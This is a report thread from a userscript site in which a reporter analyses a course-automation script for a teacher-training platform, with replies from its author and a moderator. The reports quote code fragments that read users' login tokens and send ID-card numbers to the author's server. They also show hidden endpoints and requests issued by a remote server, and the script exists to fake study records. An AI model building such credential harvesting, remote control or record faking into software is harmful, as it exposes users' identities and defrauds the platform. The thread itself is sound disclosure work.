SchadsoftwareAusstehend
#121lzzzzyErstellt am vor 13 Tagen

举报内容:该用户脚本涉嫌违规收集教师个人敏感信息

脚本名称:【效率版】2026年基础教育、职教高教暑期教师研修|国家中小学智慧教育平台·全自动半分钟完成 脚本版本:1.7 涉及域名/命名空间:card.wlxy.top、card.wlxy.live

一、举报事由

该脚本以"自动刷课"为幌子,实际会收集并回传教师的登录凭证、身份证号、姓名、学校名称等敏感个人信息至站方无法在 @connect 声明中直接识别的第三方服务器,且存在明显的代码混淆行为,用以隐藏真实数据接收地址,怀疑存在数据滥用或非法收集公民个人信息的风险。

二、具体技术证据

1. 采集身份证号等敏感个人信息

脚本中的 _fp 函数会请求国家平台的教师身份认证接口,提取教师姓名、身份证号(cert_no,脚本内变量名为 idcarNo)、学校名称等字段,并保存在本地状态供后续上传:

idcarNo: String(data.cert_no || "").trim(),
school_name: String(school.school_name || verifySchool.school_name || "").trim(),

2. 将敏感信息发送至第三方服务器

_el(换取"cloud lease")函数会把上述姓名、身份证号、学校信息一并打包发送到脚本自建的云端接口:

Object.assign(leaseBody, {
  name: prof.name, idcarNo: prof.idcarNo,
  school_name: prof.school_name, ...
});
const data = await _rq(_w(4), "POST", leaseBody);

这里的目标地址并非平台官方域名,而是脚本作者自建的"云端 API"。

3. 使用代码混淆隐藏真实服务器地址

脚本开头定义了一个 XOR + Base64 混淆函数 _w,用于在运行时动态解码出真实请求的服务器域名和接口路径,而不是以明文形式写在 @connect 声明或代码中:

const _w=(()=>{
  const S=[...]; // 一堆 base64 字符串
  const k=1443;
  return (i)=>{ const b=atob(S[i]); ... 异或解码 ... };
})();

所有关键上传接口路径(如换取授权、上报学习进度等)均通过 _w(0)_w(1)_w(4) 等调用动态还原,属于典型的"隐藏真实数据接收方"的混淆手法,正常功能性脚本没有理由这样处理接口地址。

4. 使用 @connect * 通配符权限

脚本声明了:

// @connect      *

这意味着该脚本可以向任意域名发起网络请求,且不受油猴脚本站审核时列出的具体域名限制,为其绕过审查、私自向未公开域名回传数据提供了便利。

5. 采集设备指纹与登录凭证

脚本还会扫描 localStorage/sessionStorage 抓取 device_idsdp-xpath-id 等设备与登录相关标识,并通过 _gt() 函数直接读取国家平台的 MAC 登录凭证(access_tokenmac_key 等),用于伪造请求身份。

6. 商业化牟利

脚本内置"Pro 会员"付费解锁机制(STORAGE_TOKENopenProModalPRO_BUY_URL 等),免费用户信息也会被上传用于云端"额度"校验,说明该脚本并非公益工具,而是在未经用户明确、充分告知的情况下,利用教师身份证号等敏感个人信息进行商业变现。

三、举报诉求

请管理员核实以上代码逻辑,重点关注:

  1. 该脚本是否违反平台关于用户隐私与数据安全的相关规定;
  2. 代码中使用混淆手段隐藏真实数据接收域名的行为是否违反脚本审核透明性要求;
  3. 采集身份证号等公民个人敏感信息并回传至未公示的第三方服务器,是否涉嫌违反《个人信息保护法》等法律法规;
  4. 请综合考虑是否需要下架该脚本,并对相关命名空间/发布者账号进行进一步核查处理。
  • 禁止代码混淆,没有意义的用户信息爬取,排查了其它相关的脚本,都有类似的情况

  • 禁止代码混淆,没有意义的用户信息爬取,排查了其它相关的脚本,都有类似的情况

    好的,晚点来修改下

  • 补充举报:该脚本存在"远程命令执行"级别的安全风险,而不只是隐私收集问题

    脚本名称:【效率版】2026年基础教育、职教高教暑期教师研修|国家中小学智慧教育平台·全自动半分钟完成 脚本版本:1.7

    此前举报聚焦于身份证号等敏感信息的收集与外传。以下补充内容说明该脚本的风险远不止隐私泄露,其架构本身具备被滥用为大规模身份冒用/平台数据造假/僵尸网络控制通道的能力,请管理员重新评估下架必要性。

    一、核心问题:脚本执行逻辑由远程服务器实时下发,客户端"照单全收"

    脚本内置了一套完整的服务端下发指令、客户端执行的架构(_es 启动会话 → _ep/_xc 循环拉取指令 → _rp 执行指令),关键代码:

    async function _rp(cmd) {
      const reqs = Array.isArray(cmd.requests) ? cmd.requests : [];
      ...
      await api(String(r.url || ""), String(r.method || "GET").toUpperCase(), r.body, {
        trainHeaders: !!r.train_headers,
        trainId: r.train_id || "",
        courseId: r.course_id || "",
        xpathId: state.xpathId,
      });
    }
    

    也就是说:要发送到哪个 URL、用什么方法、带什么请求体,完全由脚本作者的云端服务器实时决定,客户端只是无条件执行。这不是一个"写死逻辑的刷课脚本",而是一个由远程服务器控制的执行代理(C2 式架构)

    二、为什么这比"收集信息"更严重

    1. @connect * + 远程下发请求 = 无域名限制的远程执行通道 脚本声明了 @connect *,理论上服务器可以指挥客户端向任意域名发起请求,而不仅限于国家平台官方接口。这意味着作者服务器一旦被攻破,或作者本身心怀不轨,可以在用户完全无感知的情况下,让成千上万台安装了该脚本的浏览器同时向任意目标发起请求(批量请求还支持并发控制 concurrency)。这已经具备被用作分布式攻击/刷量/撞库工具的技术条件。

    2. 用远程指令伪造用户的真实登录凭证发起请求 脚本通过 _gt() 读取国家平台颁发给该教师的 MAC 登录凭证(access_tokenmac_key),并用它对服务器指定的任意请求进行签名(_bm 函数)。也就是说,作者的云端服务器可以驱使教师本人的浏览器,以该教师真实、已实名认证的身份向平台发起任何请求。这已经不是"辅助学习",而是借用户真实身份代为执行未知操作,一旦被恶意利用,教师本人需要为并非自己主动发起的行为负责。

    3. 平台数据/学时记录存在被系统性造假的风险 脚本本身的用途就是伪造"已认真学习"的学时记录(自动播放、自动上报进度、直接拉满学分)。结合上一条"服务器可远程指挥任意请求"的能力,这意味着国家中小学智慧教育平台的学时认证数据完整性已被置于一个不受平台监管的第三方服务器控制之下——该服务器可以决定成千上万教师账号的学时如何被"刷"出来。这已经超出个人违规刷课的范畴,涉及对国家教育培训平台数据真实性、公信力的系统性破坏

    4. 敏感个人信息与账号行为、付费记录深度绑定 身份证号、姓名、学校信息(idcarNoschool_name)与云端 lease(会话令牌)、Pro 付费状态一起打包上传(_el 函数)。这意味着作者服务器上存有一份**"实名身份 — 使用行为 — 付费记录"三合一**的数据库,一旦泄露或被作者本人违规使用,危害远大于单纯的"匿名使用数据收集"。

    5. 收集行为无任何告知与同意机制 通读全部代码,没有任何弹窗、协议链接、隐私政策提示,用户从点击"开始"起,身份证号等信息就在后台被静默采集并上传(_cr_el_fp 全部自动触发,无用户可感知的确认环节)。根据《个人信息保护法》,身份证号属于敏感个人信息,处理此类信息应当取得单独同意并履行充分告知义务,该脚本完全没有做到。

    三、给管理员的重新评估建议

    请管理员重点考虑以下几点,而不仅仅是"收集了什么信息":

    • 该脚本是否构成未经授权、以用户真实身份代为执行远程服务器指定操作的行为(无论该操作意图是否"良性",其技术能力已具备被滥用为身份冒用/远程控制工具的条件);
    • 该脚本是否对国家中小学智慧教育平台学时认证数据的真实性构成系统性风险,而非个案违规;
    • 结合 @connect * 与服务器可下发任意请求的组合,该脚本是否已具备僵尸网络/分布式请求控制的技术特征;
    • 在完全没有告知同意的情况下,将身份证号等敏感个人信息与付费、设备、行为数据打包存储于不受监管的第三方服务器,是否已经超出"一般违规脚本"的处理尺度,需要优先下架并做进一步安全评估,而不仅是保留观察。

    以上问题的核心在于:该脚本的实际运行逻辑并非静态代码可完全审计的"自动化工具",而是一个持续接受远程指令、并以用户真实身份执行指令的动态代理。这类架构本身的风险等级,通常远高于普通的隐私信息收集类脚本。

  • https://bbs.tampermonkey.net.cn/thread-3036-1-1.html

    这些规则里面都有禁止,请作者按照规则进行整改,否则将清空所有脚本

  • https://bbs.tampermonkey.net.cn/thread-3036-1-1.html

    这些规则里面都有禁止,请作者按照规则进行整改,否则将清空所有脚本

    更新2.0已经完全按照发布规则进行了,请审核

  • https://bbs.tampermonkey.net.cn/thread-3036-1-1.html

    这些规则里面都有禁止,请作者按照规则进行整改,否则将清空所有脚本

    举报:v2.0 版本仍违反平台规则第 2 条(外部执行代码)、第 6 条(混淆/不可读处理),并存在未充分披露的用户信息收集

    脚本名称:【效率版】2026年基础教育、职教高教暑期教师研修|国家中小学智慧教育平台·全自动半分钟完成 脚本版本:2.0

    说明:v2.0 相比 1.7 做了表面修复(去掉了 _w 混淆函数、去掉了 idcarNo/school_name 上传、去掉了"任意 URL relay")。但仔细比对代码后可以看到,这些"修复"更像是把同样的问题换了一种更隐蔽的实现方式,实质仍然违反平台规则第 2 条和第 6 条,第三条用户信息收集的问题也没有真正消失。以下逐条给出代码证据。


    一、违反规则第 6 条:脚本使用混淆手段处理内容,不是明文

    规则原文:

    禁止对脚本进行加密/混淆等不可读处理(有此种需求可发布危险区脚本)

    证据 1:全部用户界面文本、日志文本被 \u 转义编码,而非明文中文

    打开脚本源码可以看到,几乎所有中文字符串都不是以正常 UTF-8 中文书写,而是被转换成了 Unicode 转义序列,例如:

    label: "\u57fa\u7840\u6559\u80b2",
    title: "2026\u5e74\u57fa\u7840\u6559\u80b2\u6691\u671f\u6559\u5e08\u7814\u4fee",
    log("\u811a\u672c\u9884\u70ed\u5b8c\u6210\uff0c\u53ef\u52fe\u9009\u8bfe\u7a0b\u540e\u70b9\u300c\u5f00\u59cb\u300d");
    

    这些字符串正常情况下完全可以(也应该)以可读中文形式书写(如 "基础教育""脚本预热完成,可勾选课程后点「开始」"),作者却将几乎全部界面文案、日志提示、面板说明统一转成了 \uXXXX 转义序列。这不是任何正常功能所必需的写法,唯一效果就是让人工审核时无法直接阅读脚本实际输出给用户的内容,必须逐个解码才能得知脚本到底在做什么、给用户展示了什么提示语。这符合"对脚本进行……不可读处理"的定义。

    证据 2:涉及云端鉴权、计费、数据上报的核心函数被刻意压缩命名,与其余代码风格明显不一致

    脚本中普通功能函数命名清晰可读,例如 logsleepupdatePanelrenderCourseListsaveQueue 等,但唯独涉及云端鉴权、免费额度控制、数据上报的核心逻辑函数全部使用无语义的两三字符代号:

    async function _rq(path, method, payload) { ... }   // 云端请求
    async function _el(force) { ... }                    // 换取 lease 授权
    async function _cr() { ... }                          // 云端授权总控
    async function _es(context, cfg) { ... }               // 启动学习引擎会话
    async function _ep(sessionId, event, lastResult, ...) { ... } // 引擎步进
    async function _xc(cmd, courseCtx) { ... }             // 执行远程指令
    async function _ro(op, courseCtx) { ... }              // 执行具体操作
    async function _rp(cmd, courseCtx) { ... }             // 批量执行操作
    function _gt() { ... }                                  // 读取登录凭证
    async function _bm(url, method) { ... }                 // 生成请求签名
    async function _hm(keyStr, dataStr) { ... }             // HMAC 签名
    async function _cu() { ... }                             // 更新计费UI
    

    这种"UI/日志相关函数保持可读命名,唯独网络鉴权、计费、指令执行相关函数全部改成无意义缩写"的选择性处理,不是自然的代码风格,而是针对审核重点关注区域(涉及外部通信、鉴权、计费的部分)的刻意规避可读性处理,本质上仍然是一种混淆手段,只是比 1.7 版本的 Base64+XOR 更隐蔽。


    二、违反规则第 2 条:脚本引入由私有服务器控制的外部执行逻辑

    规则原文:

    禁止引入私有外部执行代码

    证据:脚本的实际行为由作者私有服务器实时下发指令决定,且下发内容未经任何校验直接用于向官方平台提交数据

    v2.0 虽然去掉了"任意 URL 代发"的 relay 类型,但保留了功能等价的机制——脚本仍然通过 _es(启动会话)→ _ep(拉取下一步指令)→ _xc(分发指令)→ _ro/_rp(执行指令)这一整套循环,由作者的私有服务器 oa13.ahzsksw.cn 实时决定客户端接下来要做什么:

    async function _ro(op, courseCtx) {
      const name = String((op && op.op) || "").trim();
      if (!ZXX_ALLOWED_OPS.has(name)) throw new Error("unsupported_op:" + name);
      ...
      if (name === "spi_begin" || name === "spi_async") {
        ...
        await api(url, "POST", op.body || {}, { trainHeaders: true, trainId, courseId, xpathId: state.xpathId });
        return;
      }
      if (name === "study_details") {
        await api(ZXX_STUDY_DETAILS_API, "POST", op.body || {});
        return;
      }
    }
    

    请注意:op.body —— 也就是最终提交给国家平台官方接口的请求体内容 —— 完全来自作者服务器下发的 JSON 数据(op.body || {}),客户端没有对这个 body 做任何内容校验,直接原样提交给官方接口,并使用从用户 localStorage 中读取的国家平台真实登录凭证(_gt())进行签名。

    也就是说:

    • 脚本"允许调用哪些接口"这一层,确实被收紧成了白名单(ZXX_ALLOWED_OPS);
    • 但"每次调用具体提交什么内容、调用几次、什么时机调用"这一层,仍然完全由作者私有服务器的未公开逻辑决定,且这部分逻辑不在已发布、已审核的脚本代码中,审核人员无法从脚本源码得知脚本实际会向国家平台提交什么内容。
    • 作者可以在不发布新版本、不经过脚本站再次审核的情况下,随时修改服务器端逻辑,改变脚本的实际行为(例如调整刷课节奏、新增计费限制、新增数据回传字段),这正是"外部执行代码/外部执行逻辑"类规则想要防范的核心风险——脚本对外展示的源码和脚本实际运行的行为可以脱钩

    三、用户信息收集问题并未消失,只是范围收窄

    证据:国家平台真实账号 ID 仍作为持久标识符被发送至作者私有服务器,且用于计费与行为追踪

    async function _rq(path, method, payload) {
      const base = getCloudApiBase();
      const url = `${base}${path...}`;
      const headers = { Accept: "application/json", "Content-Type": "application/json" };
      const luid = getLearningUserId();
      if (luid) headers["x-learning-user-id"] = luid;   // 国家平台真实账号ID,随每次请求发送
      if (state.cloudToken) headers.Authorization = `Bearer ${state.cloudToken}`;
      ...
    }
    

    getLearningUserId() 返回的是通过 _gt() 从国家平台登录凭证中解析出的真实、持久的平台用户 IDstate.userId),这个 ID 会随每一次对作者云端服务器(oa13.ahzsksw.cn)的请求被发送,用于:

    1. 绑定免费额度使用记录(freeUsedChapters/freeChapterLimit);
    2. 判断用户属于"免费"还是"Pro"层级;
    3. 在服务器端持续追踪同一账号的学习进度与行为。

    虽然相比 1.7 版本已经不再直接上传姓名、身份证号、学校信息,但国家平台账号 ID 本身就是可以唯一定位到某个已实名认证教师的持久标识符,将其发送给一个与国家平台无关、由脚本作者私人运营、且脚本中完全没有任何隐私政策/用户告知/同意流程的第三方服务器,本质上仍然是在未取得用户明确同意的情况下,向第三方持续传输可关联真实身份的账号信息。


    四、举报诉求

    请管理员严格对照以下平台规则原文进行认定:

    1. 规则第 2 条"禁止引入私有外部执行代码"——脚本通过私有服务器实时下发指令、且下发内容(op.body)未经校验直接用于向官方系统提交数据的架构,属于把关键执行逻辑转移到未公开、未经审核的私有服务器端,实质违反此条;
    2. 规则第 6 条"禁止对脚本进行加密/混淆等不可读处理"——脚本全文本 \u 转义编码 + 核心鉴权/计费/指令函数选择性使用无语义缩写命名,两者叠加已构成实质意义上的混淆和不可读处理;
    3. 结合前述两条问题,脚本向未声明隐私政策的第三方私有服务器持续发送国家平台真实账号 ID 用于计费与行为追踪,缺乏用户告知与同意机制。

    依据处罚说明:"违反规则:3、6、8时,会直接删除脚本,如果近期多次违反会进行短期封号->永久封号",本次举报的核心问题(规则第 6 条混淆、规则第 2 条私有外部执行代码)均落在应当直接删除脚本的处罚范围内,且该脚本在 1.7→2.0 的修改过程中反复调整代码结构以规避审核(去掉旧混淆函数、改用新的命名混淆方式;去掉旧的 relay 任意代发、改用服务器下发白名单指令+未校验 body 的等效机制),建议一并作为"近期多次违反"的情节予以考虑。

  • https://bbs.tampermonkey.net.cn/thread-3036-1-1.html

    这些规则里面都有禁止,请作者按照规则进行整改,否则将清空所有脚本

    举报:v2.0 版本仍违反平台规则第 2 条(外部执行代码)、第 6 条(混淆/不可读处理),并存在未充分披露的用户信息收集

    脚本名称:【效率版】2026年基础教育、职教高教暑期教师研修|国家中小学智慧教育平台·全自动半分钟完成 脚本版本:2.0

    说明:v2.0 相比 1.7 做了表面修复(去掉了 _w 混淆函数、去掉了 idcarNo/school_name 上传、去掉了"任意 URL relay")。但仔细比对代码后可以看到,这些"修复"更像是把同样的问题换了一种更隐蔽的实现方式,实质仍然违反平台规则第 2 条和第 6 条,第三条用户信息收集的问题也没有真正消失。以下逐条给出代码证据。


    一、违反规则第 6 条:脚本使用混淆手段处理内容,不是明文

    规则原文:

    禁止对脚本进行加密/混淆等不可读处理(有此种需求可发布危险区脚本)

    证据 1:全部用户界面文本、日志文本被 \u 转义编码,而非明文中文

    打开脚本源码可以看到,几乎所有中文字符串都不是以正常 UTF-8 中文书写,而是被转换成了 Unicode 转义序列,例如:

    label: "\u57fa\u7840\u6559\u80b2",
    title: "2026\u5e74\u57fa\u7840\u6559\u80b2\u6691\u671f\u6559\u5e08\u7814\u4fee",
    log("\u811a\u672c\u9884\u70ed\u5b8c\u6210\uff0c\u53ef\u52fe\u9009\u8bfe\u7a0b\u540e\u70b9\u300c\u5f00\u59cb\u300d");
    

    这些字符串正常情况下完全可以(也应该)以可读中文形式书写(如 "基础教育""脚本预热完成,可勾选课程后点「开始」"),作者却将几乎全部界面文案、日志提示、面板说明统一转成了 \uXXXX 转义序列。这不是任何正常功能所必需的写法,唯一效果就是让人工审核时无法直接阅读脚本实际输出给用户的内容,必须逐个解码才能得知脚本到底在做什么、给用户展示了什么提示语。这符合"对脚本进行……不可读处理"的定义。

    证据 2:涉及云端鉴权、计费、数据上报的核心函数被刻意压缩命名,与其余代码风格明显不一致

    脚本中普通功能函数命名清晰可读,例如 logsleepupdatePanelrenderCourseListsaveQueue 等,但唯独涉及云端鉴权、免费额度控制、数据上报的核心逻辑函数全部使用无语义的两三字符代号:

    async function _rq(path, method, payload) { ... }   // 云端请求
    async function _el(force) { ... }                    // 换取 lease 授权
    async function _cr() { ... }                          // 云端授权总控
    async function _es(context, cfg) { ... }               // 启动学习引擎会话
    async function _ep(sessionId, event, lastResult, ...) { ... } // 引擎步进
    async function _xc(cmd, courseCtx) { ... }             // 执行远程指令
    async function _ro(op, courseCtx) { ... }              // 执行具体操作
    async function _rp(cmd, courseCtx) { ... }             // 批量执行操作
    function _gt() { ... }                                  // 读取登录凭证
    async function _bm(url, method) { ... }                 // 生成请求签名
    async function _hm(keyStr, dataStr) { ... }             // HMAC 签名
    async function _cu() { ... }                             // 更新计费UI
    

    这种"UI/日志相关函数保持可读命名,唯独网络鉴权、计费、指令执行相关函数全部改成无意义缩写"的选择性处理,不是自然的代码风格,而是针对审核重点关注区域(涉及外部通信、鉴权、计费的部分)的刻意规避可读性处理,本质上仍然是一种混淆手段,只是比 1.7 版本的 Base64+XOR 更隐蔽。


    二、违反规则第 2 条:脚本引入由私有服务器控制的外部执行逻辑

    规则原文:

    禁止引入私有外部执行代码

    证据:脚本的实际行为由作者私有服务器实时下发指令决定,且下发内容未经任何校验直接用于向官方平台提交数据

    v2.0 虽然去掉了"任意 URL 代发"的 relay 类型,但保留了功能等价的机制——脚本仍然通过 _es(启动会话)→ _ep(拉取下一步指令)→ _xc(分发指令)→ _ro/_rp(执行指令)这一整套循环,由作者的私有服务器 oa13.ahzsksw.cn 实时决定客户端接下来要做什么:

    async function _ro(op, courseCtx) {
      const name = String((op && op.op) || "").trim();
      if (!ZXX_ALLOWED_OPS.has(name)) throw new Error("unsupported_op:" + name);
      ...
      if (name === "spi_begin" || name === "spi_async") {
        ...
        await api(url, "POST", op.body || {}, { trainHeaders: true, trainId, courseId, xpathId: state.xpathId });
        return;
      }
      if (name === "study_details") {
        await api(ZXX_STUDY_DETAILS_API, "POST", op.body || {});
        return;
      }
    }
    

    请注意:op.body —— 也就是最终提交给国家平台官方接口的请求体内容 —— 完全来自作者服务器下发的 JSON 数据(op.body || {}),客户端没有对这个 body 做任何内容校验,直接原样提交给官方接口,并使用从用户 localStorage 中读取的国家平台真实登录凭证(_gt())进行签名。

    也就是说:

    • 脚本"允许调用哪些接口"这一层,确实被收紧成了白名单(ZXX_ALLOWED_OPS);
    • 但"每次调用具体提交什么内容、调用几次、什么时机调用"这一层,仍然完全由作者私有服务器的未公开逻辑决定,且这部分逻辑不在已发布、已审核的脚本代码中,审核人员无法从脚本源码得知脚本实际会向国家平台提交什么内容。
    • 作者可以在不发布新版本、不经过脚本站再次审核的情况下,随时修改服务器端逻辑,改变脚本的实际行为(例如调整刷课节奏、新增计费限制、新增数据回传字段),这正是"外部执行代码/外部执行逻辑"类规则想要防范的核心风险——脚本对外展示的源码和脚本实际运行的行为可以脱钩

    三、用户信息收集问题并未消失,只是范围收窄

    证据:国家平台真实账号 ID 仍作为持久标识符被发送至作者私有服务器,且用于计费与行为追踪

    async function _rq(path, method, payload) {
      const base = getCloudApiBase();
      const url = `${base}${path...}`;
      const headers = { Accept: "application/json", "Content-Type": "application/json" };
      const luid = getLearningUserId();
      if (luid) headers["x-learning-user-id"] = luid;   // 国家平台真实账号ID,随每次请求发送
      if (state.cloudToken) headers.Authorization = `Bearer ${state.cloudToken}`;
      ...
    }
    

    getLearningUserId() 返回的是通过 _gt() 从国家平台登录凭证中解析出的真实、持久的平台用户 IDstate.userId),这个 ID 会随每一次对作者云端服务器(oa13.ahzsksw.cn)的请求被发送,用于:

    1. 绑定免费额度使用记录(freeUsedChapters/freeChapterLimit);
    2. 判断用户属于"免费"还是"Pro"层级;
    3. 在服务器端持续追踪同一账号的学习进度与行为。

    虽然相比 1.7 版本已经不再直接上传姓名、身份证号、学校信息,但国家平台账号 ID 本身就是可以唯一定位到某个已实名认证教师的持久标识符,将其发送给一个与国家平台无关、由脚本作者私人运营、且脚本中完全没有任何隐私政策/用户告知/同意流程的第三方服务器,本质上仍然是在未取得用户明确同意的情况下,向第三方持续传输可关联真实身份的账号信息。


    四、举报诉求

    请管理员严格对照以下平台规则原文进行认定:

    1. 规则第 2 条"禁止引入私有外部执行代码"——脚本通过私有服务器实时下发指令、且下发内容(op.body)未经校验直接用于向官方系统提交数据的架构,属于把关键执行逻辑转移到未公开、未经审核的私有服务器端,实质违反此条;
    2. 规则第 6 条"禁止对脚本进行加密/混淆等不可读处理"——脚本全文本 \u 转义编码 + 核心鉴权/计费/指令函数选择性使用无语义缩写命名,两者叠加已构成实质意义上的混淆和不可读处理;
    3. 结合前述两条问题,脚本向未声明隐私政策的第三方私有服务器持续发送国家平台真实账号 ID 用于计费与行为追踪,缺乏用户告知与同意机制。

    依据处罚说明:"违反规则:3、6、8时,会直接删除脚本,如果近期多次违反会进行短期封号->永久封号",本次举报的核心问题(规则第 6 条混淆、规则第 2 条私有外部执行代码)均落在应当直接删除脚本的处罚范围内,且该脚本在 1.7→2.0 的修改过程中反复调整代码结构以规避审核(去掉旧混淆函数、改用新的命名混淆方式;去掉旧的 relay 任意代发、改用服务器下发白名单指令+未校验 body 的等效机制),建议一并作为"近期多次违反"的情节予以考虑。

    我都不知道你是谁的小号 动了你什么利益了?用AI来检查代码,怎么不去检查所有脚本站代码啊 \u 转义中文 严格意义不算混淆,很多脚本都有 _rq _el 等短名 也就是压缩了命名,不等于混淆加密 云端下发 ops 已不是任意 URL/eval,都写在脚本里面了,如果非要硬整那所有的刷课脚本都不行了

  • 除本脚本外,还有其它脚本需要修改 https://scriptcat.org/zh-CN/script-show-page/6590/code 等,请一并整改

    只是编码不涉及混淆,代码逻辑可读,云端只下发控制指令,并不涉及代码注入等危险操作,可以接受

    提交用户id,并没有敏感信息,已经标注 @antifeature payment,可以接受

    我们并不反对收费脚本,遵循规则即可

    另外不管举报者是不是小号有没有利益相关,这些问题都是真实存在的,感谢举报者帮助我们排查

    后续我们也将加入静态代码分析来检查脚本的一些高风险操作,并进行标记

  • 除本脚本外,还有其它脚本需要修改 https://scriptcat.org/zh-CN/script-show-page/6590/code 等,请一并整改

    只是编码不涉及混淆,代码逻辑可读,云端只下发控制指令,并不涉及代码注入等危险操作,可以接受

    提交用户id,并没有敏感信息,已经标注 @antifeature payment,可以接受

    我们并不反对收费脚本,遵循规则即可

    另外不管举报者是不是小号有没有利益相关,这些问题都是真实存在的,感谢举报者帮助我们排查

    后续我们也将加入静态代码分析来检查脚本的一些高风险操作,并进行标记

    感谢GG理解,我尽快把所有的需要整改的脚本都修改完

  • 还是未更新,过了10多天了,未按照要求修改,请管理员处理!

No data
Zum Kommentieren anmelden
Teilnehmer